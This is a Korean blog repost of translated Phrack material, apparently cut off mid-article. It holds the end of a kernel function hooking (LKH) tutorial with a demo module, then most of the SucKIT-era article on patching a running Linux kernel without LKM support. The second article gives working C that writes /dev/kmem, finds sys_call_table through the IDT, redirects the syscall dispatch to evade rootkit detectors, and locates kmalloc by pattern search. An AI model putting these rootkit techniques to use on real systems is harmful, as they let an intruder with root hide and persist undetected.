/boot/System.map bash-2.03# elfsh -f /usr/src/linux/vmlinux -s   # displaying sections [SECTION HEADER TABLE] (nil)      ---             foffset:    (nil)        0 bytes [*Unknown*] (...) 0xc024d9e0 a-- __ex_table  foffset: 0x14e9e0     5520 bytes [Program data] 0xc024ef70 a-- __ksymtab   foffset: 0x14ff70     9008 bytes [Program data] 0xc02512a0 aw- .data       foffset: 0x1522a0    99616 bytes [Program data] (...) (nil)      --- .shstrtab   foffset: 0x1ad260      216 bytes [String table] (nil)      --- .symtab     foffset: 0x1ad680   245440 bytes [Symbol table] (nil)      --- .strtab     foffset: 0x1e9540   263805 bytes [String table] [END] 사실, 메모리가 맵핑된 섹션 __ksymtab은 우리가 하이재킹하고자 원하는 모든 커널 심볼을 포함하고 있지는 않다. 다시 말해, 맵핑되지 않은 섹션 .symtab은 확실히 더 크다(245440 바이트 vs 9008 바이트). 'ksyms'를 사용할 때 __NR_query_module syscall (또는 이전 커널용 __NR_get_kernel_syms)은 내부적으로 사용되며, __ksymtab에 포함된 완벽한 커널 심볼 테이블이 메모리에 로딩되지 않기 때문에 이 syscall은 __ksymtab 섹션에만 접근할 수 있다. 전체 심볼 테이블로 접근하는 것의 해결책은 우리의 System.map 파일(`nm -a vmlinux > System.map`을 사용해 만든다)에 offset을 픽업하는 것이다. bash-2.03# ksyms -a | grep sys_fork bash-2.03# grep sys_fork /boot/System.map c0105898 T sys_fork bash-2.03# #define        SYS_FORK        0xc0105898   if ((s = khook_create((int) SYS_FORK, HOOK_PERMANENT, HOOK_ENABLED)) == NULL)     KFATAL("init_module: Cant set hook on function *sys_fork* ! \n", -1);   khook_add_entry(s, (int) fork_callback, 0); #undef SYS_FORK 시스템이 System.map 또는 압축되지 않은 커널 이미지(vmlinux)를 가지고 있지 않기 때문에 vmlinux 파일을 압축을 푸는 것이 받아들여질 수 있다.(이것이 표준 gzip 포맷이 아님을 기억해라.) [3]은 이것에 대한 아주 유용한 정보를 가지고 있으며), 그리고 직접 새로운 System.map 파일을 만든다. 또 다른 방법은 통계 기반의 조사이다. 커널 16진수 코드에서 레퍼런스를 분석하는 것은 우리가 심볼 값을 예상하는 것을 가능하게 하고(호출 또는 jmp 명령을 불러오는 것), 커널 코드는 버전마다 다르기 때문에 이 툴의 어려움은 이식이 가능하다는 것이다. SYS_FORK를 당신 자신의 sys_fork offset 값으로 변경하는 것을 잊지 마라. ----[ 4.3 - LKH Internals: hook_t 오브젝트 hook_t 구조(메모리에서 후크 항목)를 살펴보자. typedef struct        s_hook {   int                 addr;                           int                 offset;                           char                saved_bytes[7];                   char                voodoo_bytes[7];           char                hook[HOOK_SIZE];           char                cache1[CACHE1_SIZE];       char                cache2[CACHE2_SIZE];         }                      hook_t; h->addr            원래 함수의 주소. 후크를 활성화 또는 비활성화 하는데 사용됨 h->offset          이 필드는 h->addr으로부터의 offset을 포함하고 있다. 여기서 하이재킹을 설정하기 위해  덮어쓰기를 시작. 그것의 값은 3 또는 0이며, 함수가 스택 프레임을 가지고 있는냐 아니냐에 따라 달라진다. h->original_bytes  원래 함수의 덮어 쓰여진 7바이트 h->voodoo_bytes  리다이렉트하기 위해 함수의 시작부분에 입력할 필요가 있는 7바이트(3문단의 A 단계에서  본 간접적인 jump 코드를 포함하고 있다.)   h->hook            후킹 코드를 포함하고 있는 opcode 버퍼, 여기에 khook_add_entry()를 사용해 callback  레퍼런스를 삽입한다. cache1 및 cache2 버퍼는 우리가 모드 HOOK_AGGRESSIVE를 설정할 때 후크 코드를 백업하기 위해 사용된다. (원래의 함수 호출을 nop 해야하기 때문에 이 코드를 저장하는 것이 필요하다. 후크를 만들 때마다 hook_t의 예가 선언되고 할당된다. 하이재킹 하고자 원하는 함수마다 하나의 후크를 만들어야 한다. ----[ 5 - 코드 테스트 먼저 새로운 코드에 대해서는 http://www.devhell.org/~mayhem/를 확인해보아라. 이 패키지(버전 1.1)는 이 글의 끝부분에 주어져 있다. #include "lkh.c"로 족하다. LKH를 사용하는 이 모듈의 예에서 우리는 다음을 후킹하기를 원한다. - hijack_me() 함수, 여기서 좋은 파라미터가 지나가는 것과 callback을 통한 수정을 체크할 수 있다. - schedule() 함수, SINGLESHOT 하이재킹. - sys_fork() 함수, PERMANENT 하이재킹. ------[ 5.1 - 모듈 로딩 bash-2.03# make load insmod lkh.o Testing a permanent, aggressive, enabled hook with 3 callbacks: A in hijack_one  = 0 -OK- B in hijack_one  = 1 -OK- A in hijack_zero = 1 -OK- B in hijack_zero = 2 -OK- A in hijack_two  = 2 -OK- B in hijack_two  = 3 -OK- -------------------- Testing a disabled hook: A in HIJACKME!!! = 10 -OK- B in HIJACKME!!! = 20 -OK- -------------------- Calling hijack_me after the hook destruction A in HIJACKME!!! = 1  -OK- B in HIJACKME!!! = 2  -OK- SCHEDULING! ------[ 5.2 - 놀아보자 bash-2.05# ls FORKING! Makefile  doc  example.c  lkh.c  lkh.h  lkh.o  user  user.c  user.h  user.o bash-2.05# pwd /usr/src/coding/LKH (FORKING!을 프린터하지 않았다. 왜냐하면 pwd는 쉘 기반의 명령이기 때문이다.) bash-2.05# make unload FORKING! rmmod lkh; LKH unloaded - sponsorized by the /dev/hell crew! bash-2.05# ls Makefile  doc  example.c  lkh.c  lkh.h  lkh.o  user  user.c  user.h  user.o bash-2.05# sys_fork() 커널 함수가 호출될 때마다 ""FORKING!"을 볼 수 있으며(후크는 영원함), schedule() 커널 함수가 처음으로 호출될 때마다  "SCHEDULING!"을 볼 수 있다.(이 후크는 SINGLESHOT이기 때문에 schedule() 함수는 단지 한번만 하이재킹되고, 그런 다음 후크가 제거된다. ------[ 5.3 - 코드 /* ** LKH demonstration code, developped and tested on Linux x86 2.4.5 ** ** The Library code is attached . ** Please check http://www.devhell.org/~mayhem/ for updates . ** ** This tarball includes a userland code (runnable from GDB), the LKH ** kernel module and its include file, and this file (lkm-example.c) ** ** Suggestions {and,or} bug reports are welcomed ! LKH 1.2 already ** in development . ** ** Special thanks to b1nf for quality control ;) ** Shoutout to kraken, keep the good work on psh man ! ** ** Thanks to csp0t (one work to describe you : *elite*) ** and cma4 (EPITECH powa, favorite win32 kernel hax0r) ** ** BigKaas to the devhell crew (r1x and nitrogen fux0r) ** Lightman, Gab and Xfred from chx-labs (stop smoking you junkies ;) ** ** Thanks to the phrackstaff and particulary skyper for his ** great support . Le Havre en force ! Case mais oui je t'aime ;) */ #include "lkh.c" int        hijack_me(int a, int b);        /* hooked function */ int        hijack_zero(void *ptr);        /* first callback */ int        hijack_one(void *ptr);        /* second callback */ int        hijack_two(void *ptr);        /* third callback */ void       hijack_fork(void *ptr);        /* sys_fork callback */ void       hijack_schedule(void *ptr);        /* schedule callback */ static  hook_t        *h = NULL; static  hook_t        *i = NULL; static  hook_t        *j = NULL; int init_module() {   int                ret;   printk(KERN_ALERT "Change the SYS_FORK value then remove the return \n");   return (-1);   /*   ** Create the hooks   */ #define        SYS_FORK 0xc010584c   j = khook_create(SYS_FORK                  , HOOK_PERMANENT                  | HOOK_ENABLED                  | HOOK_DISCRETE); #undef        SYS_FORK   h = khook_create(ksym_lookup("hijack_me")                  , HOOK_PERMANENT                  | HOOK_ENABLED                  | HOOK_AGGRESSIVE);   i = khook_create(ksym_lookup("schedule")                  , HOOK_SINGLESHOT                  | HOOK_ENABLED                  | HOOK_DISCRETE);   /*   ** Yet another check   */   if (!h || !i || !j)     {       printk(KERN_ALERT "Cannot hook kernel functions \n");       return (-1);     }   /*   ** Adding some callbacks for the sys_fork and schedule functions   */   khook_add_entry(i, (int) hijack_schedule, 0);   khook_add_entry(j, (int) hijack_fork, 0);   /*   ** Testing the hijack_me() hook .   */   printk(KERN_ALERT "LKH: perm, aggressive, enabled hook, 3 callbacks:\n");   khook_add_entry(h, (int) hijack_zero, 1);   khook_add_entry(h, (int) hijack_one, 0);   khook_add_entry(h, (int) hijack_two, 2);   ret = hijack_me(0, 1);   printk(KERN_ALERT "--------------------\n");   printk(KERN_ALERT "Testing a disabled hook :\n");   khook_set_state(h, HOOK_DISABLED);   ret = hijack_me(10, 20);   khook_destroy(h);   printk(KERN_ALERT "------------------\n");   printk(KERN_ALERT "Calling hijack_me after the hook destruction\n");   hijack_me(1, 2);   return (0); } void cleanup_module() {   khook_destroy(i);   khook_destroy(j);   printk(KERN_ALERT "LKH unloaded - sponsorized by the /dev/hell crew!\n"); } /* ** Function to hijack */ int hijack_me(int a, int b) {   printk(KERN_ALERT "A in HIJACKME!!! = %u \t -OK- \n", a);   printk(KERN_ALERT "B in HIJACKME!!! = %u \t -OK- \n", b);   return (42); } /* ** First callback for hijack_me() */ int hijack_zero(void *ptr) {   int        *a;   int        *b;   a = ptr;   b = a + 1;   printk(KERN_ALERT "A in hijack_zero = %u \t -OK- \n", *a);   printk(KERN_ALERT "B in hijack_zero = %u \t -OK- \n", *b);   (*b)++;   (*a)++;   return (0); } /* ** Second callback for hijack_me() */ int hijack_one(void *ptr) {   int        *a;   int        *b;      a = ptr;   b = a + 1;   printk(KERN_ALERT "A in hijack_one  = %u \t -OK- \n", *a);   printk(KERN_ALERT "B in hijack_one  = %u \t -OK- \n", *b);   (*a)++;   (*b)++;   return (1); } /* ** Third callback for hijack_me() */ int hijack_two(void *ptr) {   int        *a;   int        *b;   a = ptr;   b = a + 1;   printk(KERN_ALERT "A in hijack_two  = %u \t -OK- \n", *a);   printk(KERN_ALERT "B in hijack_two  = %u \t -OK- \n", *b);   (*a)++;   (*b)++;   return (2); } /* ** Callback for schedule() (kernel exported symbol) */ void        hijack_schedule(void *ptr) {   printk(KERN_ALERT "SCHEDULING! \n"); } /* ** Callbacks for sys_fork() (kernel non exported symbol) */ void hijack_fork(void *ptr) {   printk(KERN_ALERT "FORKING! \n"); } --[ 6 - 참고문헌 [1] Kernel function hijacking      http://www.big.net.au/~silvio/ [2] INTEL Developers manual      http://developers.intel.com/design/pentiu m4/manuals/ [3] Linux Kernel Internals      http://www.linuxdoc.org/guides.html |=[ EOF ]=---------------------------------------------------------------=|
"Kernel" 카테고리의 다른 글
  • 리눅스 커널의 이해(1) : 커널의 일반적인 역할과... (0)2007/05/10
  • Kprobes를 이용한 커널 디버깅 (0)2007/05/04
  • KernelAnalysis-HOWTO (0)2007/04/30
  • Linux x86 kernel function hooking emulation (0)2006/11/24
  • Linux on-the-fly kernel patching without LKM (0)2006/11/24
2006/11/24 16:58 2006/11/24 16:58
Posted by webdizen
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2345

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2006/11/24 16:46

Linux on-the-fly kernel patching without LKM

                             ==Phrack Inc.==

              Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e

|=----------=[ Linux on-the-fly kernel patching without LKM ]=-----------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sd <sd@sf.cz>, devik <devik@cdi.cz> ]=---------------=|
|=----------------------=[ December 12th 2001 ]=-------------------------=|

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= 번역 : 이계찬 (cagers96@hanmail.net)   =
= 첫작성 : 2003년 8월 19일   =
= 마지막 수정 : 2003년 8월 20일   =
=  ※ * 주의: 이 문서는 갖가지 오역과 의역이 난무함을 먼저 알려드립니다.  =
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


--[ Contents

  1 - Introduction

  2 - /dev/kmem is our friend

  3 - Replacing kernel syscalls, sys_call_table[]
   3.1 - How to get sys_call_table[] without LKM ?
   3.2 - Redirecting int 0x80 call sys_call_table[eax] dispatch

  4 - Allocating kernel space without help of LKM support
   4.1 - Searching kmalloc() using LKM support
   4.2 - pattern search of kmalloc()
   4.3 - The GFP_KERNEL value
   4.4 - Overwriting a syscall

  5 - What you should take care of

  6 - Possible solutions

  7 - Conclusion

  8 - References

  9 - Appendix: SucKIT: The implementation


--[ 1 - Introduction

  우선, 우리는 오래전에 커널 패칭기술을 발전시킨 Silvio Cesare에게
감사해야 한다. 대부분의 아이디어들은 그에게서 빌려온 것이다.

  이 문서에서, 우리는 모듈의 지원이나 System.map파일의 도움없이 리눅스 커널
(특히 syscalls)을 오용하는 방법에 대하여 논의할 것이다. 그렇게 하여, 우리는
독자가 LKM이 무엇인지 LKM이 어떻게 커널내부로 로드되는가에 관한 실마리를 찾을 수
있을 것 이라고 생각한다. 더 많은 정보를 원한다면 아래 글을 읽어보라.
(paragraph 6. [1], [2], [3])

  어떤 사람이 몇개의 중요한 리눅스 시스템 콜을 바꾸기를 원하고 LKM지원이 가능하지
않은 경우를 생각해 보라. 루트 권한을 가지고 있더라도 LKM Rootkit을 컴파일 하는데
필요한 라이브러리가 없다고 생각해 보라. 이러한 문제에 대한 해결책으로서 제시한 모든
기술들을 구현한 예제툴이 appendix에 있다.

  묘사된 대부분의 것들(such as syscalls, memory addressing
schemes ... code too)은 단지 ia32 architecture에서만 작동할 것이다. 누군가 다른 architecture에
관하여 연구한다면 우리에게 연락하길 바란다.

--[ 2 - /dev/kmem is our friend

"Mem is a character device file that is an image of the main memory of
  the computer. It may be used, for example, to examine (and even patch)
  the system."
                 -- from the Linux 'mem' man page

  Run-time kernel patching에 관한 Silvio의 글[2]을 간단히 살펴보면:
이 문서에서 우리가 커널 공간에서 작업하는 모든것은 표준 리눅스 디바이스 /dev/kmem
을 사용하여 수행 되어진다. 이 디바이스는 단지 root만 Read/write권한을 가지므로
그것(/dev/kmem)을 오용하고 싶다면 root권한을 가져야만 한다.
access하기 위하여 /dev/kmem의 허가권을 변화시키는 것만으로는 충분하지 않다.
/dev/kmem에 대한 접근이 VFS에 의해 허가되어진 후에 process의 capable(CAP_SYS_RAWIO)
을 알기위해 /usr/src/linux/drivers/char/mem.c의 검사 또한 필요하다.

  우리는 또 하나의 디바이스 /dev/mem이 있다는 것을 인식해야 한다.
그것은 VM translation이전의 물리적인 메모리다. 우리가 page directory location에
대해 안다면, 그것(/dev/mem)을 사용하는 것이 가능할 것이다. 하지만, 우리는
이러한 가능성에 대해서는 연구하지 않았다.
  lseek()를 통해 address를 알아내고(선택하고), read()를 통해 읽고, write()의 도움으로
쓰는 것이다. ....단순히.

커널에서의 작업에 유용한 함수들:

/* read data from kmem */
static inline int rkm(int fd, int offset, void *buf, int size)
{
       if (lseek(fd, offset, 0) != offset) return 0;
       if (read(fd, buf, size) != size) return 0;
       return size;
}

/* write data to kmem */
static inline int wkm(int fd, int offset, void *buf, int size)
{
       if (lseek(fd, offset, 0) != offset) return 0;
       if (write(fd, buf, size) != size) return 0;
       return size;
}

/* read int from kmem */
static inline int rkml(int fd, int offset, ulong *buf)
{
       return rkm(fd, offset, buf, sizeof(ulong));
}

/* write int to kmem */
static inline int wkml(int fd, int offset, ulong buf)
{
       return wkm(fd, offset, &buf, sizeof(ulong));
}


--[ 3 - Replacing kernel syscalls, sys_call_table[]

  우리 모두가 아는것처럼, sysclls는 리눅스에서 가장 저수준의 시스템
함수들이다. 따라서, 우리는 그것들에 많은 관심을 가지게 될 것이다.
Syscall들은 하나의 큰 테이블(sct)로 그룹화 되어 있다. 그것은 단지
256개의 일차원 배열로서(on ia32 architecture) syscall넘버에 의한 배열의
인덱싱은 주어진 syscall의 진입점을 나타낸다.

An example pseudocode:

/* as everywhere, "Hello world" is good for begginers ;-) */

/* our saved original syscall */
int (*old_write) (int, char *, int);
       /* new syscall handler */
       new_write(int fd, char *buf, int count) {
       if (fd == 1) {  /* stdout ? */
               old_write(fd, "Hello world!\n", 13);
               return count;
       } else {
               return old_write(fd, buf, count);
       }
}

old_write = (void *) sys_call_table[__NR_write]; /* save old */
sys_call_table[__NR_write] = (ulong) new_write;  /* setup new one */

/* Err... there should be better things to do instead fucking up console
  with "Hello worlds" ;) */

이것은 다양한 LKM rootkit들의 고전적인 시나리오이다. (see paragraph 7),
우리가 sys_call_table[]을 import하고 올바른 방법으로 그것을 조작하는 것이
가능할 경우에는 tty sniffers/hijackers (the halflife's one, f.e. [4])
등은 단순히 /sbin/insmod에 의해 import된다.
[ using create_module() / init_module() ]
/**************************************************************************
잡담:kernel 2.4.18부터 sys_call_table이 export되지 않는다고 한다.
   따라서, 현재 커널에서는 고전적인 방법으로 syscall을 후킹할 수
           없는것으로 알고있다. 정확한 사실은 아니니..이부분에 대해 아시는
           분 있으면 리플..부탁드립니다.
**************************************************************************/
--[ 3.1 - How to get sys_call_table[] without LKM

  우선, 커널은 LKM이 지원되지 않는 경우에 심벌들에 대한 어떠한 정보도 갖지
않는다는것을 알아라. It is rather a clever decision because why could someone need
it without LKM ? 디버깅을 위해? 당신은 대신 System.map을 가지고 있다.
우리는 그것(system.map)이 필요하다. LKM이 지원되는 경우에는 LKM으로 import되도록
의도된 심벌들이 있다.그러나, 우리는 LKM없이 할 수 있다고 했다. right ?

As far we know, the most elegant way how to obtain sys_call_table[] is:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

struct {
       unsigned short limit;
       unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
       unsigned short off1;
       unsigned short sel;
       unsigned char none,flags;
       unsigned short off2;
} __attribute__ ((packed)) idt;

int kmem;
void readkmem (void *m,unsigned off,int sz)
{
       if (lseek(kmem,off,SEEK_SET)!=off) {
               perror("kmem lseek"); exit(2);
       }
       if (read(kmem,m,sz)!=sz) {
               perror("kmem read"); exit(2);
       }
}

#define CALLOFF 100     /* we'll read first 100 bytes of int $0x80*/
main ()
{
       unsigned sys_call_off;
       unsigned sct;
       char sc_asm[CALLOFF],*p;

       /* well let's read IDTR */
       asm ("sidt %0" : "=m" (idtr));
       printf("idtr base at 0x%X\n",(int)idtr.base);

       /* now we will open kmem */
       kmem = open ("/dev/kmem",O_RDONLY);
       if (kmem<0) return 1;

       /* read-in IDT for 0x80 vector (syscall) */
       readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
       sys_call_off = (idt.off2 << 16) | idt.off1;
       printf("idt80: flags=%X sel=%X off=%X\n",
               (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

       /* we have syscall routine address now, look for syscall table
          dispatch (indirect call) */
       readkmem (sc_asm,sys_call_off,CALLOFF);
       p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
       sct = *(unsigned*)(p+3);
       if (p) {
               printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n",
                       sct, p);
       }
       close(kmem);
}

어덯게 작동하는가? sidt instruction은 interrupt descriptor table을 위해
프로세서에게 요청한다.[asm ("sidt %0" : "=m" (idtr));], 이러한 구조로부터
우리는 int $0x80의 interrupt descriptor에 대한 포인터를 얻을 것이다.
[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));].

>IDT로부터 우리는 int $0x80의 진입점의 주소를 계산 할 수 있다.
[sys_call_off = (idt.off2 << 16) | idt.off1;]
이제 우리는 int $0x80이 어디서 시작하는지 안다. 그러나 그것이 우리가 원하는
sys_call_table[]은 아니다. 자 int $0x80 진입점을 보도록 하자.

[sd@pikatchu linux]$ gdb -q /gdb -q /boot/vmlinux-2.4.20-8
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 <system_call>:       push   %eax
0xc0106bc9 <system_call+1>:     cld
0xc0106bca <system_call+2>:     push   %es
0xc0106bcb <system_call+3>:     push   %ds
0xc0106bcc <system_call+4>:     push   %eax
0xc0106bcd <system_call+5>:     push   %ebp
0xc0106bce <system_call+6>:     push   %edi
0xc0106bcf <system_call+7>:     push   %esi
0xc0106bd0 <system_call+8>:     push   %edx
0xc0106bd1 <system_call+9>:     push   %ecx
0xc0106bd2 <system_call+10>:    push   %ebx
0xc0106bd3 <system_call+11>:    mov    $0x18,%edx
0xc0106bd8 <system_call+16>:    mov    %edx,%ds
0xc0106bda <system_call+18>:    mov    %edx,%es
0xc0106bdc <system_call+20>:    mov    $0xffffe000,%ebx
0xc0106be1 <system_call+25>:    and    %esp,%ebx
0xc0106be3 <system_call+27>:    cmp    $0x100,%eax
0xc0106be8 <system_call+32>:    jae    0xc0106c75 <badsys>
0xc0106bee <system_call+38>:    testb  $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>:    jne    0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>:    call   *0xc01e0f18(,%eax,4) <-- that's it
0xc0106bfb <system_call+51>:    mov    %eax,0x18(%esp,1)
0xc0106bff <system_call+55>:    nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18      <-- see ? it's same
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>:    0x188514ff <-- opcode (little endian)
(gdb)

  간단히, int $80 진입점의 시작 근처에 'call sys_call_table(,eax,4)' opcode가
있다. 왜냐하면, 이러한 간접 호출은 커널 버전(2.0.10에서 2.4.10까지 같다)마다
다르지 않기 때문이다. 단지 'call <something>(,eax,4)'의 패턴을 찾는것이 상대적으로
안전하다.
opcode = 0xff 0x14 0x85 0x<address_of_table>

[memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);]

  Being paranoid, one could do a more robust hack. IDT에서의 모든 int $0x80
handler를 우리가 만든 handler를 향하도록 재지정하고, 흥미있는 함수
(시스템 콜 함수)들을 가로채라. 그것은 우리가 재진입을 다루어야 하는
것만큼 훨씬더 복잡하다.

  이제 우리는 sys_call_table[]이 어디에 위치해 있는지 알고, 일부 sycall들의
주소를 변경시킬 수 있다 :

Pseudocode:
       readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
       writekmem(new_write, sct + __NR_write * 4, 4); /* set new */


--[ 3.2 - Redirecting int $0x80 call sys_call_table[eax] dispatch

  이 글을 쓸 때, 우리는 packetstorm/freshmeat에서 여러 rootkit탐지툴을
발견하였다. 그것들은 LKM/syscalltable/다른 커널 부분에서 무엇인가
잘못되었다는 사실을 탐지할 수 있을것이다. 다행히도, 대부분 너무 어리석어서
spaceWalker에 의해 [6]에서 소개된 트릭으로 간단하게 속일수 있다.
Pseudocode:
       ulong sct = addr of sys_call_table[]
       char *p = ptr to int 0x80's call sct(,eax,4) - dispatch
       ulong nsct[256] = new syscall table with modified entries

       readkmem(nsct, sct, 1024);      /* read old */
       old_write = nsct[__NR_write];
       nsct[__NR_write] = new_write;
       /* replace dispatch to our new sct */
       writekmem((ulong) p+3, nsct, 4);

       /* Note that this code never can work, because you can't
          redirect something kernel related to userspace, such as
          sct[] in this case */

Background:
  우리는 기존 sys-call_table[]의 복사본을 생성한다.[readkmem(nsct, sct,
1024);], 그리고 나서, 우리가 바꾸고자 하는 엔트리들을 변경할 것이다.
[old_write=nsct[__NR_write]; nsct[__NR_write] = new_write;] 그리고,
call <something>(,eax,4)에서 <something>의 _only_addr을 바꾼다. :

0xc0106bf4 <system_call+44>:    call   *0xc01e0f18(,%eax,4)
                                       ~~~~|~~~~~
                                           |__ Here will be address of
                                               _our_ sct[]

int $0x80의 일관성을 검사하지 않는 LKM 탐지 툴들은 어떤것도 탐지할 수 없을
것이다. sys_call_table[]은 같지만, int $0x80은 우리가 끼워넣은 테이블을 사용한다.


--[ 4 - Allocating kernel space without help of LKM support
  다음에 우리가 필요한 것은 주소값 0xc0000000(or 0x80000000)위의 memory page이다.
0xc0000000 값은 사용자와 커널메모리의 구분점이다. 사용자 프로세스들은 그 한계점
윗부분에 접근하지 못한다. 이 구분점이 정확하지 않고 다를 수 있다는 것을 고려해라.
그래서 실행중에 int $0x80진입점으로부터 그 구분점을 알아내는 것이 좋은 생각이다.

구분점 위의 page을 얻는 방법은? LKM이 지원되는 일반적인 kernel이 그것(구분점위의 page
)를 어떻게 얻는지 살펴보자. (/usr/src/linux/kernel/module.c):

...
void inter_module_register(const char *im_name, struct module *owner,
                          const void *userdata)
{
       struct list_head *tmp;
       struct inter_module_entry *ime, *ime_new;

       if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
               /* Overloaded kernel, not fatal */
       ...

우리가 기대했던것처럼, kmalloc(size, GFP_KERNEL)을 사용했다. 그러나, 아직 kmalloc()을
사용할 수 없다. 왜냐하면:

       - 우리는 kmalloc()의 주소를 알지 못한다. [ paragraph 4.1, 4.2 ]
       - 우리는 GFP_KERNEL의 값을 알지 못한다. [ paragraph 4.3 ]
       - 우리는 사용자공간에서 kmalloc()를 호출할 수 없다.[ paragraph 4.4 ]


--[ 4.1 - Searching for kmalloc() using LKM support

LKM 지원을 받을 수 있다면:

/* kmalloc() lookup */

/* 가장 단순하고, 안전한 방법, 그러나 LKM support가 필요 */
ulong   get_sym(char *n) {
       struct  kernel_sym      tab[MAX_SYMS];
       int     numsyms;
       int     i;

       numsyms = get_kernel_syms(NULL);
       if (numsyms > MAX_SYMS || numsyms < 0) return 0;
       get_kernel_syms(tab);
       for (i = 0; i < numsyms; i++) {
               if (!strncmp(n, tab[i].name, strlen(n)))
                       return tab[i].value;
       }
       return 0;
}

ulong   get_kma(ulong pgoff)
{
       ret = get_sym("kmalloc");
       if (ret) return ret;
       return 0;
}

We leave this without comments.


--[ 4.2 - pattern search of kmalloc()

  그러나 LKM이 지원되지 않는다면, 문제가 있다. 해결방법이 좀 지저분하고,
그리 좋지는 ㅇ낳지만, 작동은 할 것이다.
우리는 커널의 .text섹션을 검사할 것이고, 다음과 같은 패턴을 찾을것이다.:

       push    GFP_KERNEL <something between 0-0xffff>
       push    size       <something between 0-0x1ffff>
       call    kmalloc

모든 정보가 테이블에 모일것이고, 가장 빈번하게 불려진 함수는 kmalloc()일
것이다. 여기 코드가 있다. :

/* kmalloc() lookup */
#define RNUM 1024
ulong   get_kma(ulong pgoff)
{
       struct { uint a,f,cnt; } rtab[RNUM], *t;
       uint            i, a, j, push1, push2;
       uint            found = 0, total = 0;
       uchar           buf[0x10010], *p;
       int             kmem;
       ulong           ret;

       /* uhh, before we try to brute something, attempt to do things
          in the *right* way ;)) */
       ret = get_sym("kmalloc");
       if (ret) return ret;

       /* humm, no way ;)) */
       kmem = open(KMEM_FILE, O_RDONLY, 0);
       if (kmem < 0) return 0;
       for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
            i += 0x10000) {
               if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
               /* loop over memory block looking for push and calls */
               for (p = buf; p < buf + 0x10000;) {
                       switch (*p++) {
                               case 0x68:
                                       push1 = push2;
                                       push2 = *(unsigned*)p;
                                       p += 4;
                                       continue;
                               case 0x6a:
                                       push1 = push2;
                                       push2 = *p++;
                                       continue;
                               case 0xe8:
                                       if (push1 && push2 &&
                                           push1 <= 0xffff &&
                                           push2 <= 0x1ffff) break;
                               default:
                                       push1 = push2 = 0;
                                       continue;
                       }
                       /* we have push1/push2/call seq; get address */
                       a = *(unsigned *) p + i + (p - buf) + 4;
                       p += 4;
                       total++;
                       /* find in table */
                       for (j = 0, t = rtab; j < found; j++, t++)
                               if (t->a == a && t->f == push1) break;
                       if (j < found)
                               t->cnt++;
                       else
                               if (found >= RNUM) {
                                       return 0;
                               }
                               else {
                                       found++;
                                       t->a = a;
                                       t->f = push1;
                                       t->cnt = 1;
                               }
                       push1 = push2 = 0;
               } /* for (p = buf; ... */
       } /* for (i = (pgoff + 0x100000) ...*/
       close(kmem);
       t = NULL;
       for (j = 0;j < found; j++)  /* find a winner */
               if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
       if (t) return t->a;
       return 0;
}

위의 코드는 단순 상태 머신이다. 그리고 그것은 가능한 다른 asm code layout과
혼동되지 않을것이다.(몇가지 gcc옵션들을 사용하였을때) 그것은 다른 코드패턴들을
이해하는데 확장되어질 수 있고(switch구문을 보라), 알려진 패턴들에 대해
PUSHes에서의 GFP값을 검사하여 좀 더 정확성을 높일 수 있을 것이다.
(see paragraph bellow).

이 코드의 정확성은 80%이다. (i.e. 80% points to kmalloc, 20% to
some junk) 그리고 커널 버젼 2.2.1 에서 2.4.13까지 작동 할 것이다.

--[ 4.3 The GFP_KERNEL value

  kmalloc()를 사용하면서 얻은 또다른 문제는 GFP_KERNEL값이 커널 시리즈에서 다양하게
나타난다는 사실이다. 그러나, uname()의 도움으로 그 문제를 해결할 수 있다.
+-----------------------------------+
| kernel version | GFP_KERNEL value |
+----------------+------------------+
| 1.0.x .. 2.4.5 |     0x3          |
+----------------+------------------+
| 2.4.6 .. 2.4.x |     0x1f0        |
+----------------+------------------+

2.4.7-2.4.9 kernels에서는 문제가 있다. 가끔 GFP_KERNEL의 잘못된 값으로 인해 실패한다.
위 테이블의 값은 정확하지 않다. 그것은 단지 우리가 사용할 수 있는 값들을 보여주는 것이다.
The code:

#define NEW_GFP         0x1f0
#define OLD_GFP         0x3

/* uname struc */
struct un {
       char    sysname[65];
       char    nodename[65];
       char    release[65];
       char    version[65];
       char    machine[65];
       char    domainname[65];
};

int     get_gfp()
{
       struct un s;
       uname(&s);
       if ((s.release[0] == '2') && (s.release[2] == '4') &&
           (s.release[4] >= '6' ||
           (s.release[5] >= '0' && s.release[5] <= '9'))) {
               return NEW_GFP;
       }
       return OLD_GFP;
}


--[ 4.3 - Overwriting a syscall

  위에서 언급했던 것처럼 우리는 kmalloc()를 사용자 공간으로부터 직접적으로
호출할 수 없다. 해결방법은 syscall을 대체하는 silvio의 속임수[2]이다. :

       1. 어느 sycall의 주소를 알아내라.
          (IDT -> int 0x80 -> sys_call_table)
       2. kmalloc()를 호출하고 할당된 페이지에 대한 포인터를 리턴하는 루틴을
  만들어라.
       3. 어느 syscall의 우리의 루틴에 대한 바이트 크기를 저장하라.
       4. 우리의 루틴으로 어느 syscall의 코드를 덮어써라.
